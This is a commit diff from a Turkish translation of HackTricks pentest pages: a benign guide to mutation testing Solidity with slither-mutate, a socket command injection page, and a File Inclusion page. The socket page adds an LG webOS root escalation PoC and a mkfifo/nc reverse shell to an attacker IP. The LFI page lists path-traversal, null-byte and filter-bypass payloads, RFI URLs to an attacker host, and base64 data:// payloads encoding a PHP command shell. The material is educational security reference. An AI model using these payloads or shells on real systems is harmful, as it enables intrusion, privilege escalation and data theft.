Translated ['', 'src/blockchain/smart-contract-security/mutation-testing

This commit is contained in:
Translator 2025-10-01 09:24:35 +00:00
parent 9b7c83ce4c
commit 320d18d7d1
3 changed files with 257 additions and 219 deletions

View File

@ -1,14 +1,14 @@
# Mutation Testing Solidity için Slither ile (slither-mutate)
# Mutation Testing for Solidity with Slither (slither-mutate)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}
Mutation testing "tests your tests" — Solidity kodunuza sistematik olarak küçük değişiklikler (mutantlar) ekleyip test süitinizi yeniden çalıştırarak yapılır. Bir test başarısız olursa mutant öldürülür. Testler hâlâ geçerse mutant hayatta kalır; bu, line/branch coverage'ın tespit edemeyeceği test süitinizdeki bir kör noktayı ortaya çıkarır.
Mutation testing "tests your tests" by systematically introducing small changes (mutants) into your Solidity code and re-running your test suite. If a test fails, the mutant is killed. If the tests still pass, the mutant survives, revealing a blind spot in your test suite that line/branch coverage cannot detect.
Ana fikir: Coverage kodun çalıştırıldığını gösterir; mutation testing ise davranışın gerçekten doğrulanıp doğrulanmadığını gösterir.
Ana fikir: Coverage, kodun çalıştırıldığını gösterir; mutation testing ise davranışın gerçekten doğrulandığını gösterir.
## Coverage neden yanıltıcı olabilir
## Neden coverage yanıltıcı olabilir
Bu basit eşik kontrolünü düşünün:
Basit bir eşik kontrolünü düşünün:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
@ -18,99 +18,99 @@ return false;
}
}
```
Unit tests that only check a value below and a value above the threshold can reach 100% line/branch coverage while failing to assert the equality boundary (==). A refactor to `deposit >= 2 ether` would still pass such tests, silently breaking protocol logic.
Birim testleri yalnızca eşik değerinin altında bir değeri ve üzerinde bir değeri kontrol ediyorsa, equality boundary (==) eşitliğini doğrulamadan %100 line/branch coverage elde edebilir. `deposit >= 2 ether` şeklinde yapılacak bir refactor bu testleri yine geçer ve protokol mantığını sessizce bozabilir.
Mutation testing exposes this gap by mutating the condition and verifying your tests fail.
Mutation testing, koşulu değiştirip testlerinizin başarısız olduğunu doğrulayarak bu boşluğu ortaya çıkarır.
## Yaygın Solidity mutasyon operatörleri
Slithers mutation engine applies many small, semantics-changing edits, such as:
- Operator replacement: `+``-`, `*``/`, etc.
- Assignment replacement: `+=``=`, `-=``=`
- Constant replacement: non-zero`0`, `true``false`
- Condition negation/replacement inside `if`/loops
- Comment out whole lines (CR: Comment Replacement)
- Replace a line with `revert()`
- Data type swaps: e.g., `int128``int64`
Slitherin mutasyon motoru, semantiği değiştiren birçok küçük düzenleme uygular, örneğin:
- Operatör değiştirme: `+``-`, `*``/`, vb.
- Atama değiştirme: `+=``=`, `-=``=`
- Sabit değiştirme: sıfır olmayan`0`, `true``false`
- `if`/loop içindeki koşulun tersine çevrilmesi/değiştirilmesi
- Tüm satırları yorum satırı haline getirme (CR: Comment Replacement)
- Bir satırı `revert()` ile değiştirme
- Veri tipi değişimleri: örn., `int128``int64`
Goal: Kill 100% of generated mutants, or justify survivors with clear reasoning.
Hedef: Oluşturulan mutantların %100'ünün testler tarafından tespit edilip başarısızlığa yol açmasının sağlanması veya hayatta kalanlar için net gerekçe sunulması.
## slither-mutate ile mutation testing çalıştırma
## slither-mutate ile mutasyon testi çalıştırma
Gereksinimler: Slither v0.10.2+.
- List options and mutators:
- Seçenekleri ve mutator'ları listele:
```bash
slither-mutate --help
slither-mutate --list-mutators
```
- Foundry örneği (sonuçları yakalayın ve tam bir log tutun):
- Foundry örneği (sonuçları yakala ve tam bir günlük tut):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
- Eğer Foundry kullanmıyorsanız, testleri nasıl çalıştırıyorsanız ona göre `--test-cmd`'i değiştirin (ör. `npx hardhat test`, `npm test`).
- Eğer Foundry kullanmıyorsanız, `--test-cmd`'i testleri nasıl çalıştırıyorsanız onunla değiştirin (örneğin, `npx hardhat test`, `npm test`).
Çıktılar ve raporlar varsayılan olarak `./mutation_campaign` dizininde saklanır. Yakalanmamış (hayatta kalan) mutantlar inceleme için oraya kopyalanır.
Artefaktlar ve raporlar varsayılan olarak `./mutation_campaign` dizinine kaydedilir. Yakalanmamış (hayatta kalan) mutantlar inceleme için oraya kopyalanır.
### Çıktıyı Anlamak
### Çıktıyı anlamak
Rapor satırları şu şekilde görünür:
```text
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
- Köşeli parantez içindeki etiket mutator takma adıdır (ör. `CR` = Comment Replacement).
- `UNCAUGHT` testlerin mutant davranışı altında geçtiği anlamına gelir → eksik assertion.
- Köşeli parantez içindeki etiket mutatör takma adıdır (örn., `CR` = Comment Replacement).
- `UNCAUGHT` mutasyona uğramış davranış altında testlerin geçtiği anlamına gelir → eksik assertion.
## Çalışma süresini azaltma: etkili mutantlara öncelik verin
## Reducing runtime: prioritize impactful mutants
Mutation kampanyaları saatler veya günler sürebilir. Maliyeti azaltmak için ipuçları:
- Scope: Önce yalnızca kritik contracts/dizinlerle başlayın, sonra genişletin.
- Mutatorlara öncelik verin: Bir satırdaki yüksek öncelikli mutant sağ kalırsa (ör. tüm satır yorum haline getirilmiş gibi), o satır için daha düşük öncelikli varyantları atlayabilirsiniz.
- Testleri paralelleştirin; runner'ınız izin veriyorsa; bağımlılıkları/build'leri cache'leyin.
- Fail-fast: bir değişiklik belirgin şekilde bir assertion açığını gösterdiğinde erken durun.
Mutasyon kampanyaları saatler veya günler sürebilir. Maliyeti azaltmak için ipuçları:
- Scope: Önce yalnızca kritik contracts/directories ile başlayın, sonra genişletin.
- Prioritize mutators: Eğer bir satırdaki yüksek öncelikli bir mutant hayatta kalırsa (örn., tüm satır yorum haline gelmiş), o satır için düşük öncelikli varyantları atlayabilirsiniz.
- Parallelize tests if your runner allows it; cache dependencies/builds.
- Fail-fast: bir değişiklik ıkça bir assertion boşluğunu gösterdiğinde erken durdurun.
## Hayatta kalan mutantlar için triage iş akışı
## Triage workflow for surviving mutants
1) Mutasyona uğramış satırı ve davranışı inceleyin.
- Değiştirilmiş satırı uygulayıp odaklanmış bir testi çalıştırarak yerelde yeniden üretin.
- Mutasyona uğramış satırı uygulayıp yerelde odaklanmış bir test çalıştırarak yeniden üretin.
2) Testleri sadece dönüş değerlerine değil, durum doğrulamaya güçlendirin.
- Eşitlik-sınır kontrolleri ekleyin (ör. test threshold `==`).
- Post-conditions doğrulayın: bakiyeler, toplam arz, yetkilendirme etkileri ve yayınlanan event'ler.
2) Testleri sadece dönüş değerlerini değil durumu assert edecek şekilde güçlendirin.
- Eşitlik-sınır kontrolleri ekleyin (örn., test threshold `==`).
- Post-koşulları assert edin: bakiyeler, total supply, yetkilendirme etkileri ve emit edilen event'ler.
3) Aşırı izin verici mock'ları gerçekçi davranışlarla değiştirin.
- Mock'ların zincirde gerçekleşen transferleri, hata yollarını ve event yayınlamayı zorunlu kıldığından emin olun.
3) Aşırı izin veren mock'ları gerçekçi davranışlarla değiştirin.
- Mock'ların on-chain gerçekleşen transferleri, hata yollarını ve event emit'lerini zorladığından emin olun.
4) Fuzz testleri için invariants ekleyin.
- Ör. değer korunumu, negatif olmayan bakiyeler, yetkilendirme invariants, uygulanabiliyorsa monotonik arz.
4) Fuzz testleri için invariant'lar ekleyin.
- Örn., değer korunumu, negatif olmayan bakiyeler, yetkilendirme invariant'ları, uygulanabiliyorsa monoton supply.
5) slither-mutate'i, hayatta kalanlar öldürülene ya da açıkça gerekçelendirilene kadar yeniden çalıştırın.
5) slither-mutate'i, hayatta kalanlar öldürülene veya açıkça gerekçelendirilene kadar yeniden çalıştırın.
## Vaka çalışması: eksik durum assertion'larını ortaya çıkarmak (Arkis DeFi protocol)
## Case study: revealing missing state assertions (Arkis protocol)
Arkis DeFi protocol denetimi sırasında yapılan bir mutation kampanyası şu hayatta kalanları gün yüzüne çıkardı:
Arkis DeFi protokolünün bir audit sırasında yapılan bir mutasyon kampanyası şu tip hayatta kalanlar ortaya çıkardı:
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
Atamanın yorum satırı haline getirilmesi testleri kırmadı; bu, son-durum doğrulamalarının eksik olduğunu kanıtladı. Kök neden: kod, gerçek token transferlerini doğrulamak yerine kullanıcı kontrollü `_cmd.value` değerine güvendi. Bir saldırgan beklenen ile gerçek transferlerin eşleşmesini bozarak fonları boşaltabilir. Sonuç: protokolün ödenebilirliği için yüksek şiddette risk.
Commenting out the assignment didnt break the tests, proving missing post-state assertions. Root cause: code trusted a user-controlled `_cmd.value` instead of validating actual token transfers. An attacker could desynchronize expected vs. actual transfers to drain funds. Result: high severity risk to protocol solvency.
Rehber: değer transferlerini, muhasebeyi veya erişim kontrolünü etkileyen hayatta kalan mutantları (survivors), öldürülene kadar yüksek riskli olarak değerlendirin.
Guidance: Treat survivors that affect value transfers, accounting, or access control as high-risk until killed.
## Pratik kontrol listesi
- Run a targeted campaign:
- Hedefe yönelik bir kampanya çalıştırın:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
- Hayatta kalan mutantları triage edip, mutasyona uğramış davranış altında başarısız olacak testler/invariantlar yazın.
- Bakiyeleri, arzı, yetkilendirmeleri ve olayları assert edin.
- Add boundary tests (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Gerçekçi olmayan mocks'ları değiştirin; hata durumlarını simüle edin.
- Tüm mutantlar öldürülene veya yorumlar ve gerekçelerle haklı gösterilene kadar yineleyin.
- Survivor'ları önceliklendirin ve mutated davranış altında başarısız olacak testler/invariantler yazın.
- Bakiye, supply, authorizations ve events'i assert edin.
- Sınır testleri ekleyin (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Gerçekçi olmayan mocks'ları değiştirin; failure modlarını simüle edin.
- Tüm mutants öldürülene veya yorum ve gerekçe ile haklı çıkarılana kadar yineleyin.
## Referanslar
## References
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
- [Slither (GitHub)](https://github.com/crytic/slither)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,10 @@
# Socket Command Injection
{{#include ../../banners/hacktricks-training.md}}
## Python ile Socket Bağlama Örneği
## Socket binding example with Python
Aşağıdaki örnekte bir **unix socket oluşturuluyor** (`/tmp/socket_test.s`) ve **alınan her şey** `os.system` tarafından **çalıştırılacak**. Bunun doğada bulunmayacağını biliyorum, ancak bu örneğin amacı, unix socket'leri kullanan bir kodun nasıl göründüğünü ve en kötü durumda girişi nasıl yöneteceğimizi görmektir.
Aşağıdaki örnekte bir **unix socket oluşturulur** (`/tmp/socket_test.s`) ve **alınan** her şey `os.system` tarafından **çalıştırılacaktır**. Bunu gerçek hayatta bulmayacağınızı biliyorum, ama bu örneğin amacı unix sockets kullanan bir kodun nasıl göründüğünü ve girişi en kötü durumda nasıl yöneteceğimizi görmek.
```python:s.py
import socket
import os, os.path
@ -24,15 +26,50 @@ print(datagram)
os.system(datagram)
conn.close()
```
**Kodu** python ile çalıştırın: `python s.py` ve **socket'in nasıl dinlediğini kontrol edin**:
**Kodu çalıştırın** python ile: `python s.py` ve **socket'in nasıl dinlediğini kontrol edin**:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
**Sömürü**
**Exploit**
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
## Case study: Root-owned UNIX socket signal-triggered escalation (LG webOS)
Bazı ayrıcalıklı daemon'lar, untrusted input kabul eden ve ayrıcalıklı eylemleri thread-IDs ve signals ile ilişkilendiren root-owned UNIX socket açar. Protokol unprivileged bir client'ın hangi native thread'in hedefleneceğini etkilemesine izin veriyorsa, ayrıcalıklı bir kod yolunu tetikleyip yükseltme (escalation) gerçekleştirebilirsiniz.
Observed pattern:
- Connect to a root-owned socket (e.g., /tmp/remotelogger).
- Create a thread and obtain its native thread id (TID).
- Send the TID (packed) plus padding as a request; receive an acknowledgement.
- Deliver a specific signal to that TID to trigger the privileged behaviour.
Minimal PoC taslağı:
```python
import socket, struct, os, threading, time
# Spawn a thread so we have a TID we can signal
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
tid = th.native_id # Python >=3.8
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/tmp/remotelogger")
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
s.recv(4) # sync
os.kill(tid, 4) # deliver SIGILL (example from the case)
```
Bunu root shell'e çevirmek için basit bir named-pipe + nc deseni kullanılabilir:
```bash
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
```
Notlar:
- Bu tür hatalar, ayrıcalıksız istemci durumundan (TIDs) türetilen değerlere güvenilmesi ve bunların ayrıcalıklı signal handlers veya mantığına bağlanmasıyla ortaya çıkar.
- Socket üzerinde kimlik doğrulaması uygulayarak, mesaj formatlarını doğrulayarak ve ayrıcalıklı işlemleri dışarıdan sağlanan thread identifiers'dan ayırarak sertleştirin.
## Referanslar
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,14 +4,14 @@
## File Inclusion
**Remote File Inclusion (RFI):** Dosya uzak bir sunucudan yüklenir (En iyi: Siz kodu yazarsınız ve sunucu onu çalıştırır). In php this is **disabled** by default (**allow_url_include**).\
**Remote File Inclusion (RFI):** Dosya uzak bir sunucudan yüklenir (En iyi: Kodu siz yazabilirsiniz ve sunucu onu çalıştırır). PHP'de bu varsayılan olarak **devre dışıdır** (**allow_url_include**).\
**Local File Inclusion (LFI):** Sunucu yerel bir dosya yükler.
Zafiyet, kullanıcının sunucunun yükleyeceği dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar.
Güvenlik açığı, kullanıcı sunucunun yükleyeceği dosyayı bir şekilde kontrol edebildiğinde ortaya çıkar.
Zafiyetli **PHP fonksiyonları**: require, require_once, include, include_once
Etkilenen **PHP fonksiyonları**: require, require_once, include, include_once
Bu zafiyeti istismar etmek için ilginç bir araç: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
Bir açığı istismar etmek için ilginç bir araç: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
```python
@ -26,36 +26,36 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Try also to change `/` for `\`\
Try also to add `../../../../../`
Ayrıca `/`'i `\` ile değiştirmeyi deneyin\
Ayrıca `../../../../../` eklemeyi deneyin
Dosya /etc/password'ı bulmak için çeşitli teknikler kullanan bir liste (zafiyetin olup olmadığını kontrol etmek için) burada bulunabilir [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Birden fazla teknik kullanarak /etc/password dosyasını (zafiyetin varlığını kontrol etmek için) bulmaya çalışan bir liste [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) adresinde bulunabilir.
### **Windows**
Farklı wordlists'lerin birleşimi:
Merge of different wordlists:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Try also to change `/` for `\`\
Try also to remove `C:/` and add `../../../../../`
Ayrıca `/`'i `\` ile değiştirmeyi deneyin\
Ayrıca `C:/`'yi kaldırıp `../../../../../` eklemeyi deneyin
Dosya /boot.ini'yi bulmak için çeşitli teknikler kullanan bir liste (zafiyetin olup olmadığını kontrol etmek için) burada bulunabilir [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Birden fazla teknik kullanarak /boot.ini dosyasını (zafiyetin varlığını kontrol etmek için) bulmaya çalışan bir liste [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) adresinde bulunabilir.
### **OS X**
Linux'un LFI listesine bakın.
Linux için LFI listesini kontrol edin.
## Temel LFI ve bypasses
## Basic LFI and bypasses
Tüm örnekler Local File Inclusion içindir ancak Remote File Inclusion'a da uygulanabilir (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
Tüm örnekler Local File Inclusion içindir ancak Remote File Inclusion için de uygulanabilir (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### traversal sequences özyinelemeli olmayan şekilde kaldırıldı
### traversal sequences özyinelemeli olmayan şekilde temizlenmiş
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypass: sağlanan dizenin sonuna eklenen ekstra karakterleri atlatma (bypass of: $\_GET\['param']."php")
Sağlanan dizenin sonuna eklenen ekstra karakterlerin atlatılması (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Bu, **PHP 5.4'ten beri çözüldü**
Bu **PHP 5.4'ten beri çözülmüştür**
### **Kodlama**
Standart olmayan kodlamalar kullanabilirsiniz; örneğin çift URL encode (ve diğerleri):
Standart dışı kodlamalar kullanabilirsiniz, örn. double URL encode (ve diğerleri):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -84,38 +84,38 @@ Belki back-end klasör yolunu kontrol ediyordur:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Sunucuda Dosya Sistemi Dizinlerini Keşfetme
### Bir Sunucuda Dosya Sistemi Dizinlerini Keşfetme
Sunucunun dosya sistemi, sadece dosyaları değil dizinleri de belirlemek için belirli teknikler kullanılarak özyinelemeli olarak keşfedilebilir. Bu süreç, dizin derinliğinin belirlenmesini ve belirli klasörlerin varlığının sorgulanmasını içerir. Bunu başarmak için ayrıntılı bir yöntem aşağıdadır:
Bir sunucunun dosya sistemi, yalnızca dosyaları değil dizinleri de belirlemek için belirli teknikler kullanılarak özyinelemeli olarak keşfedilebilir. Bu işlem dizin derinliğinin belirlenmesini ve belirli klasörlerin varlığının yoklanmasını içerir. Bunu başarmak için aşağıda ayrıntılı bir yöntem bulunmaktadır:
1. **Dizin Derinliğini Belirleme:** Bulunduğunuz dizinin derinliğini, `/etc/passwd` dosyasını başarıyla getirerek (sunucu Linux tabanlı ise geçerlidir) belirleyin. Örnek bir URL aşağıdaki gibi yapılandırılabilir; bu, derinliğin üç olduğunu gösterir:
1. **Dizin Derinliğini Belirleyin:** Sunucunuzun mevcut dizin derinliğini, `/etc/passwd` dosyasını başarıyla alarak belirleyin (sunucu Linux tabanlıysa uygulanır). Örnek bir URL aşağıdaki gibi yapılandırılmış olabilir ve üç katmanlık bir derinliği gösterir:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Klasörleri Sorgula:** Şüphelenilen klasörün adını (ör. `private`) URL'ye ekleyin, sonra `/etc/passwd`'e geri gidin. Ek dizin seviyesi derinliği bir artırmayı gerektirir:
2. **Klasörleri Sorgulama:** Şüphelenilen klasörün adını (ör. `private`) URL'ye ekleyin, sonra tekrar `/etc/passwd`'e gidin. Ek dizin seviyesi, depth değerini bir artırmayı gerektirir:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Sonuçları Yorumlama:** Sunucunun yanıtı klasörün var olup olmadığını gösterir:
- **Hata / Çıktı Yok:** `private` klasörü belirtilen konumda muhtemelen yoktur.
- **`/etc/passwd` içeriği:** `private` klasörünün varlığı doğrulanır.
4. **Yinelemeli Keşif:** Bulunan klasörler, aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla sorgulanabilir.
3. **Sonuçları Yorumlayın:** Sunucunun yanıtı klasörün var olup olmadığını gösterir:
- **Hata / Çıktı Yok:** Klasör `private` muhtemelen belirtilen konumda mevcut değildir.
- **Contents of `/etc/passwd`:** `private` klasörünün varlığı doğrulanır.
4. **Yinelemeli Keşif:** Bulunan klasörler aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla sorgulanabilir.
Dosya sistemindeki farklı konumlardaki dizinleri keşfetmek için payload'u buna göre ayarlayın. Örneğin, `/var/www/` içinde bir `private` dizini olup olmadığını kontrol etmek için (mevcut dizinin derinliği 3 kabul edilirse) şunu kullanın:
Dosya sisteminin farklı konumlarındaki dizinleri keşfetmek için payload'u buna göre ayarlayın. Örneğin, `/var/www/` içinde bir `private` dizini olup olmadığını kontrol etmek için (mevcut dizin derinliği 3 varsayıldığında) kullanın:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle dosya yollarının sonuna ek karakterler ekleyen bazı güvenlik önlemlerini atlatarak erişimi kısıtlanmış dosyalara ulaşmak için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile hedef dosyaya işaret eden bir dosya yolu oluşturmaktır.
Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle dosya yollarının sonuna ek karakterler ekleyen belirli güvenlik önlemlerini aşarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildikten sonra bile hedeflenen dosyaya işaret eden bir dosya yolu oluşturmaktır.
In PHP, çeşitli dosya yolu gösterimleri dosya sistemi doğası gereği eşdeğer kabul edilebilir. Örneğin:
In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, ve `/etc/passwd/` aynı yol olarak işlem görür.
- Son 6 karakter `passwd` olduğunda, sonuna `/` eklemek (yani `passwd/` yapmak) hedeflenen dosyayı değiştirmez.
- Benzer şekilde, bir dosya yoluna `.php` eklendiğinde (ör. `shellcode.php`), sonuna `/.` eklemek erişilen dosyayı değiştirmez.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` ve `/etc/passwd/` aynı yol olarak değerlendirilir.
- Son 6 karakter `passwd` olduğunda, sonuna `/` eklemek (bunu `passwd/` yapar) hedeflenen dosyayı değiştirmez.
- Benzer şekilde, bir dosya yoluna `.php` eklenmişse (örn. `shellcode.php`), sonuna `/.` eklemek erişilen dosyayı değiştirmez.
Aşağıdaki örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle sık hedef olan `/etc/passwd` dosyasına erişmek için path truncation kullanımını göstermektedir:
Aşağıdaki örnekler, hassas içeriği nedeniyle sıkça hedef olan `/etc/passwd` dosyasına erişmek için path truncation'ın nasıl kullanılacağını gösterir (kullanıcı hesap bilgileri):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Bu senaryolarda gerekli traversals sayısı yaklaşık 2027 civarında olabilir, ancak bu sayı sunucunun yapılandırmasına bağlı olarak değişebilir.
Bu senaryolarda gereken `../` dizisi sayısı yaklaşık 2027 olabilir, ancak bu sayı sunucunun yapılandırmasına göre değişebilir.
- **Nokta Segmentleri ve Ek Karakterlerin Kullanımı**: Traversal sequences (`../`) ekstra nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir; bu, sunucunun eklediği dizeleri etkili şekilde yok saymayı sağlar.
- **Gerekli Traversal Sayısını Belirleme**: Deneme-yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'e ulaşmak için gereken tam `../` sayısı bulunabilir; bu şekilde `.php` gibi eklenen dizeler etkisiz hale getirilir ve hedef yol (`/etc/passwd`) korunur.
- **Sahte Bir Dizinle Başlamak**: Yolun, `a/` gibi var olmayan bir dizinle başlatılması yaygın bir uygulamadır. Bu teknik önlem olarak veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combined with extra dot segments and characters can be used to navigate the file system, effectively ignoring appended strings by the server.
- **Determining the Required Number of Traversals**: Deneme-yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'e ulaşmak için gereken tam `../` dizisi sayısı bulunabilir; bu sayede eklenmiş stringler (ör. `.php`) etkisizleştirilir ancak hedef yol (`/etc/passwd`) korunur.
- **Starting with a Fake Directory**: Genellikle yol, var olmayan bir dizinle (örn. `a/`) başlatılır. Bu teknik önlem amaçlı ya da sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.
path truncation techniques kullanılırken, sunucunun yol ayrıştırma davranışı ve dosya sistemi yapısı iyi anlaşılmalıdır. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için genellikle test yapmak gerekir.
When employing path truncation techniques, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için genellikle test yapılması gerekir.
**Bu zafiyet PHP 5.3'te giderildi.**
**This vulnerability was corrected in PHP 5.3.**
### **Filtre atlatma hileleri**
### **Filter bypass tricks**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
php'de bu varsayılan olarak devre dışı bırakılmıştır çünkü **`allow_url_include`** **Off**'tur. Çalışması için **On** olmalıdır ve bu durumda sunucunuzdan bir PHP file'ı include ederek RCE elde edebilirsiniz:
php'de bu varsayılan olarak devre dışı bırakılmıştır çünkü **`allow_url_include`** **Off.** Çalışması için **On** olmalıdır; bu durumda sunucunuzdan bir PHP dosyası include ederek RCE elde edebilirsiniz:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Eğer bir sebepten dolayı **`allow_url_include`** **On** ise, fakat PHP dış web sayfalarına erişimi **filtering** ile engelliyorsa, [bu gönderiye](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) göre, örneğin data protocol ile base64 kullanarak b64 PHP kodunu decode edip RCE elde edebilirsiniz:
Eğer bir sebepten dolayı **`allow_url_include`** **On** ise, ancak PHP harici web sayfalarına erişimi **filtreliyorsa**, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), örneğin data protocol ile base64 kullanarak bir b64 PHP kodunu decode edip RCE elde edebilirsiniz:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> Önceki kodda, son `+.txt` eklendi çünkü saldırganın `.txt` ile biten bir string'e ihtiyacı vardı; bu yüzden string onunla biter ve b64 decode işleminden sonra o kısım sadece çöp döndürür ve gerçek PHP code dahil edilir (ve dolayısıyla, çalıştırılır).
> Önceki kodda, son `+.txt` eklendi çünkü attacker'ın `.txt` ile biten bir stringe ihtiyacı vardı, bu yüzden string onunla bitiyor ve b64 decode işleminden sonra o kısım sadece çöp döndürecek ve gerçek PHP kodu dahil edilecek (ve dolayısıyla, çalıştırılacak).
Başka bir örnek **`php://` protokolünü kullanmayan** şöyle olurdu:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python Kök öğesi
## Python Root öğesi
Python'da şöyle bir kodda:
Aşağıdaki gibi bir python kodunda:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Eğer kullanıcı **`file_name`**'e **mutlak bir yol** gönderirse, **önceki yol sadece kaldırılır**:
Kullanıcı **`file_name`**'e bir **mutlak dosya yolu** gönderirse, **önceki yol sadece kaldırılır**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Bu, [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)'a göre amaçlanan davranıştır:
Bu, [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)'e göre beklenen davranıştır:
> Eğer bir bileşen mutlak bir yol ise, önceki tüm bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder.
## Java List Directories
## Java Dizin Listeleme
